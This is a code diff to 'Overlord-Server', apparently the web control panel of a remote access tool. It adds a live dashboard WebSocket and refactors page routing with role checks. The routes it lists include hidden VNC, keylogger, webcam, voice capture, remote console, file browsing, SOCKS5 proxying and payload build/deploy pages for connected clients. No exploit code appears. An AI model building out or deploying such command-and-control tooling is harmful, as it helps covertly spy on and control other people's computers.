diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index de79361..464f03f 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -2,9 +2,13 @@ import { state } from "./state.js"; import { digestData } from "./utils.js"; const POLL_INTERVAL_MS = 5000; +const FALLBACK_POLL_MS = 30000; const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds"; let pollTimer = null; let render = () => {}; +let dashboardWs = null; +let dashboardWsConnected = false; +let wsReconnectTimer = null; export function registerRenderer(fn) { render = fn; @@ -100,8 +104,68 @@ function getConfiguredPollIntervalMs(defaultMs) { return boundedSeconds * 1000; } +function connectDashboardWs() { + if (dashboardWs) return; + const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; + const wsUrl = `${protocol}//${window.location.host}/api/dashboard/ws`; + try { + dashboardWs = new WebSocket(wsUrl); + } catch { + scheduleDashboardReconnect(); + return; + } + + dashboardWs.onopen = () => { + console.log("[dashboard] ws connected"); + dashboardWsConnected = true; + adjustPollingForWs(); + }; + + dashboardWs.onmessage = (event) => { + try { + const msg = typeof event.data === "string" ? JSON.parse(event.data) : null; + if (msg && msg.type === "clients_changed") { + loadWithOptions({ force: false }); + } + } catch {} + }; + + dashboardWs.onclose = () => { + console.warn("[dashboard] ws closed"); + dashboardWs = null; + dashboardWsConnected = false; + adjustPollingForWs(); + scheduleDashboardReconnect(); + }; + + dashboardWs.onerror = () => { + console.warn("[dashboard] ws error"); + }; +} + +function scheduleDashboardReconnect() { + if (wsReconnectTimer) return; + wsReconnectTimer = setTimeout(() => { + wsReconnectTimer = null; + connectDashboardWs(); + }, 3000); +} + +function adjustPollingForWs() { + clearInterval(pollTimer); + const interval = dashboardWsConnected + ? FALLBACK_POLL_MS + : getConfiguredPollIntervalMs(POLL_INTERVAL_MS); + pollTimer = setInterval(() => { + loadWithOptions({ force: false }); + }, interval); +} + export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) { - const effectiveInterval = getConfiguredPollIntervalMs(intervalMs); + connectDashboardWs(); + const effectiveInterval = dashboardWsConnected + ? FALLBACK_POLL_MS + : getConfiguredPollIntervalMs(intervalMs); clearInterval(pollTimer); pollTimer = setInterval(() => { loadWithOptions({ force: false }); diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index e02bfd6..492e373 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -416,6 +416,17 @@ async function startServer() { handleProcessViewerOpen, handleKeyloggerViewerOpen, handleVoiceViewerOpen, + handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket) => { + const id = crypto.randomUUID(); + ws.data.sessionId = id; + sessionManager.addDashboardSession({ + id, + viewer: ws, + createdAt: Date.now(), + userId: ws.data.userId, + userRole: ws.data.userRole, + }); + }, handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen, handleConsoleViewerMessage, handleRemoteDesktopViewerMessage, @@ -456,6 +467,7 @@ async function startServer() { clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots, notifyRemoteDesktopStatus, handleBuildTagConnection, + notifyDashboard: sessionManager.notifyDashboardViewers, }; const server = Bun.serve({ diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 2bf9188..3d058d4 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -26,6 +26,7 @@ import { getUserClientAccessScope, listUserClientRuleIdsByAccess, } from "../../users"; +import { notifyDashboardViewers } from "../../sessions/sessionManager"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -275,6 +276,7 @@ export async function handleClientRoutes( } deleteClientRow(targetId); + notifyDashboardViewers(); const ip = server.requestIP(req)?.address || "unknown"; logAudit({ @@ -331,6 +333,7 @@ export async function handleClientRoutes( if (!updated) { return Response.json({ error: "Client not found" }, { status: 404 }); } + notifyDashboardViewers(); const ip = server.requestIP(req)?.address || "unknown"; logAudit({ @@ -389,6 +392,7 @@ export async function handleClientRoutes( if (!updated) { return Response.json({ error: "Client not found" }, { status: 404 }); } + notifyDashboardViewers(); const ip = server.requestIP(req)?.address || "unknown"; logAudit({ diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index e813e96..ed4d758 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -1,5 +1,5 @@ import { authenticateRequest } from "../../auth"; -import { requirePermission } from "../../rbac"; +import { requirePermission, type Permission } from "../../rbac"; import { canUserAccessClient, getUserById, type UserRole } from "../../users"; type PageRouteDeps = { @@ -32,24 +32,108 @@ async function serveChangePasswordIfRequired( return null; } +async function serveFile(deps: PageRouteDeps, htmlFile: string): Promise { + const file = Bun.file(`${deps.PUBLIC_ROOT}/${htmlFile}`); + if (await file.exists()) { + return new Response(file, { headers: deps.secureHeaders(deps.mimeType(htmlFile)) }); + } + return null; +} + +// ---- Page definitions ---- + +type AccessLevel = "any" | "no-viewer" | "admin" | "admin-or-operator"; +type StaticPageDef = { + path: string; + file: string; + access: AccessLevel; + permission?: Permission; + checkPasswordChange?: boolean; +}; + +type ClientPageDef = { + pattern: RegExp; + file: string; + clientIdGroup: number; +}; + +type QueryClientPageDef = { + path: string; + file: string; +}; + +/** Static pages: each entry maps a URL path to its HTML file + access rules. */ +const STATIC_PAGES: StaticPageDef[] = [ + { path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true }, + { path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true }, + { path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" }, + { path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true }, + { path: "/users", file: "users.html", access: "admin", checkPasswordChange: true }, + { path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true }, + { path: "/build", file: "build.html", access: "admin-or-operator" }, + { path: "/plugins", file: "plugins.html", access: "admin-or-operator" }, + { path: "/scripts", file: "scripts.html", access: "no-viewer" }, + { path: "/deploy", file: "deploy.html", access: "admin" }, + { path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true }, +]; + +/** Client-scoped pages accessed via query param ?clientId=... */ +const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [ + { path: "/remotedesktop", file: "remotedesktop.html" }, + { path: "/webcam", file: "webcam.html" }, + { path: "/hvnc", file: "hvnc.html" }, + { path: "/voice", file: "voice.html" }, +]; + +/** Client-scoped pages accessed via path /:clientId/feature */ +const PATH_CLIENT_PAGES: ClientPageDef[] = [ + { pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 }, + { pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 }, + { pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 }, + { pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 }, +]; + +function checkAccess(role: UserRole, access: AccessLevel): Response | null { + switch (access) { + case "any": + return null; + case "no-viewer": + if (role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + return null; + case "admin": + if (role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + return null; + case "admin-or-operator": + if (role !== "admin" && role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + return null; + } +} + export async function handlePageRoutes( req: Request, url: URL, deps: PageRouteDeps, ): Promise { + if (req.method !== "GET") return null; + const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => { if (!clientId) return false; return canUserAccessClient(userId, role, clientId); }; - if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) { + // ---- Root / index ---- + if (url.pathname === "/" || url.pathname === "/index.html") { const authed = await authenticateRequest(req); - if (authed) { const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId); if (maybeChange) return maybeChange; } - const filePath = authed ? "/index.html" : "/login.html"; const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`); if (await file.exists()) { @@ -57,19 +141,45 @@ export async function handlePageRoutes( } } - if (req.method === "GET" && url.pathname === "/change-password.html") { - const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) }); - } + // ---- Change password (always accessible) ---- + if (url.pathname === "/change-password.html") { + return serveFile(deps, "change-password.html"); } - if (req.method === "GET" && url.pathname === "/remotedesktop") { + // ---- Static pages (table-driven) ---- + for (const page of STATIC_PAGES) { + if (url.pathname !== page.path) continue; + const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); + if (!user) return serveLoginOrUnauthorized(deps); + + if (page.checkPasswordChange) { + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); + if (maybeChange) return maybeChange; } + const accessDenied = checkAccess(user.role, page.access); + if (accessDenied) return accessDenied; + + if (page.permission) { + try { + requirePermission(user, page.permission); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + } + + return serveFile(deps, page.file); + } + + // ---- Client pages via query param (?clientId=...) ---- + for (const page of QUERY_CLIENT_PAGES) { + if (url.pathname !== page.path) continue; + + const user = await authenticateRequest(req); + if (!user) return serveLoginOrUnauthorized(deps); + const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; @@ -82,351 +192,27 @@ export async function handlePageRoutes( return new Response("Forbidden: Client access denied", { status: 403 }); } - const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) }); - } + return serveFile(deps, page.file); } - if (req.method === "GET" && url.pathname === "/webcam") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } + // ---- Client pages via path (/:clientId/feature) ---- + for (const page of PATH_CLIENT_PAGES) { + const match = url.pathname.match(page.pattern); + if (!match) continue; - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; + const user = await authenticateRequest(req); + if (!user) return serveLoginOrUnauthorized(deps); if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } - const clientId = (url.searchParams.get("clientId") || "").trim(); + const clientId = match[page.clientIdGroup]; if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } - const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/hvnc") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - - const clientId = (url.searchParams.get("clientId") || "").trim(); - if (!canAccessClientPage(user.userId, user.role, clientId)) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/voice") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - - const clientId = (url.searchParams.get("clientId") || "").trim(); - if (!canAccessClientPage(user.userId, user.role, clientId)) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/metrics") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/logs") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - try { - requirePermission(user, "audit:view"); - } catch (error) { - if (error instanceof Response) return error; - return new Response("Forbidden", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/notifications") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin" && user.role !== "operator") { - return new Response("Forbidden", { status: 403 }); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`); - if (await file.exists()) { - return new Response(file, { - headers: deps.secureHeaders(deps.mimeType("notifications.html")), - }); - } - } - - if (req.method === "GET" && url.pathname === "/users") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role !== "admin") { - return new Response("Forbidden: Admin access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/user-client-access") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - if (user.role !== "admin") { - return new Response("Forbidden: Admin access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/user-client-access.html`); - if (await file.exists()) { - return new Response(file, { - headers: deps.secureHeaders(deps.mimeType("user-client-access.html")), - }); - } - } - - if (req.method === "GET" && url.pathname === "/settings") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - - const file = Bun.file(`${deps.PUBLIC_ROOT}/settings.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("settings.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/build") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin" && user.role !== "operator") { - return new Response("Forbidden: Admin or operator access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/plugins") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin" && user.role !== "operator") { - return new Response("Forbidden: Admin or operator access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) }); - } - } - - const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/); - if (req.method === "GET" && consolePageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, consolePageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) }); - } - } - - const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/); - if (req.method === "GET" && filesPageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, filesPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) }); - } - } - - const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/); - if (req.method === "GET" && processesPageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, processesPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) }); - } - } - - const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/); - if (req.method === "GET" && keyloggerPageMatch) { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - if (!canAccessClientPage(user.userId, user.role, keyloggerPageMatch[1])) { - return new Response("Forbidden: Client access denied", { status: 403 }); - } - const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/socks5-manager") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); - if (maybeChange) return maybeChange; - const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/scripts") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) }); - } - } - - if (req.method === "GET" && url.pathname === "/deploy") { - const user = await authenticateRequest(req); - if (!user) { - return serveLoginOrUnauthorized(deps); - } - - if (user.role !== "admin") { - return new Response("Forbidden: Admin access required", { status: 403 }); - } - - const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`); - if (await file.exists()) { - return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) }); - } + return serveFile(deps, page.file); } return null; diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index f3b0571..c9acce1 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -32,6 +32,7 @@ type WsLifecycleDeps = { hvncStreamingState: Map; webcamStreamingState: Map; getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; + handleDashboardViewerOpen: (ws: ServerWebSocket) => void; handleConsoleViewerOpen: (ws: ServerWebSocket) => void; handleRemoteDesktopViewerOpen: (ws: ServerWebSocket) => void; handleWebcamViewerOpen: (ws: ServerWebSocket) => void; @@ -81,12 +82,14 @@ type WsLifecycleDeps = { clearPendingNotificationScreenshots: (clientId: string) => void; notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void; handleBuildTagConnection: (clientId: string, buildTag: string) => void; + notifyDashboard: () => void; }; export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLifecycleDeps): void { const role = ws.data.role as string; const clientId = ws.data.clientId; const ip = ws.data.ip; + if (role === "dashboard_viewer") return deps.handleDashboardViewerOpen(ws); if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws); if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws); if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws); @@ -125,6 +128,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif if (role === "client") { deps.notifyRemoteDesktopStatus(id, "online"); metrics.recordConnection(); + deps.notifyDashboard(); } } @@ -154,6 +158,7 @@ export function handleWebSocketMessage( if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message); if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message); if (socketRole === "notifications_viewer") return; + if (socketRole === "dashboard_viewer") return; const { clientId, ip } = ws.data; const info = clientManager.getClient(clientId); @@ -176,6 +181,7 @@ export function handleWebSocketMessage( handleHello(info, payload, ws, ip); clientManager.addClient(info.id, info); deps.dispatchAutoScriptsForConnection(info, ws); + deps.notifyDashboard(); if (info.role === "client") { const wasKnown = Boolean((ws as any)?.data?.wasKnown); logAudit({ @@ -201,6 +207,7 @@ export function handleWebSocketMessage( break; case "pong": handlePong(info, payload); + deps.notifyDashboard(); break; case "frame": if ((payload as any)?.header?.fps === 0) { @@ -447,12 +454,18 @@ export function handleWebSocketClose( return; } + if (role === "dashboard_viewer") { + sessionManager.deleteDashboardSession(ws.data.sessionId || clientId); + return; + } + clientManager.deleteClient(clientId); stopAllProxiesForClient(clientId); clearClientSyncState(clientId); deps.notifyConsoleClosed(clientId, "Client disconnected"); setOnlineState(clientId, false); deps.clearPendingNotificationScreenshots(clientId); + deps.notifyDashboard(); logger.info(`[close] ${clientId} code=${code} reason=${reason}`); if (role === "client") { diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index b3d556d..e8bbc5c 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -193,5 +193,17 @@ export async function handleWsUpgradeRoutes( return new Response("Upgrade failed", { status: 500 }); } + if (req.method === "GET" && url.pathname === "/api/dashboard/ws") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + const ip = server.requestIP(req)?.address || ""; + if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); + } + return null; } diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 6c73b91..8cae849 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -10,6 +10,14 @@ import type { SocketData, } from "./types"; +export type DashboardViewer = { + id: string; + viewer: ServerWebSocket; + createdAt: number; + userId?: number; + userRole?: string; +}; + const consoleSessions = new Map(); const rdSessions = new Map(); const webcamSessions = new Map(); @@ -22,6 +30,7 @@ const processSessions = new Map(); const notificationSessions = new Map(); const keyloggerSessions = new Map(); const voiceSessions = new Map(); +const dashboardSessions = new Map(); function addSessionToClientIndex( index: Map>, @@ -371,3 +380,37 @@ export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] { export function getAllVoiceSessions(): Map { return voiceSessions; } + +export function addDashboardSession(session: DashboardViewer): void { + dashboardSessions.set(session.id, session); +} + +export function deleteDashboardSession(sessionId: string): boolean { + return dashboardSessions.delete(sessionId); +} + +export function getAllDashboardSessions(): Map { + return dashboardSessions; +} + +export function getDashboardSessionCount(): number { + return dashboardSessions.size; +} + +let dashboardBroadcastTimer: ReturnType | null = null; +const DASHBOARD_DEBOUNCE_MS = 150; + +export function notifyDashboardViewers(): void { + if (dashboardBroadcastTimer) return; + dashboardBroadcastTimer = setTimeout(() => { + dashboardBroadcastTimer = null; + const msg = JSON.stringify({ type: "clients_changed" }); + for (const [id, session] of dashboardSessions) { + try { + session.viewer.send(msg); + } catch { + dashboardSessions.delete(id); + } + } + }, DASHBOARD_DEBOUNCE_MS); +} diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index cdb41a2..cc4b3d7 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -10,7 +10,8 @@ export type SocketRole = | "process_viewer" | "notifications_viewer" | "keylogger_viewer" - | "voice_viewer"; + | "voice_viewer" + | "dashboard_viewer"; export type SocketData = { role: SocketRole;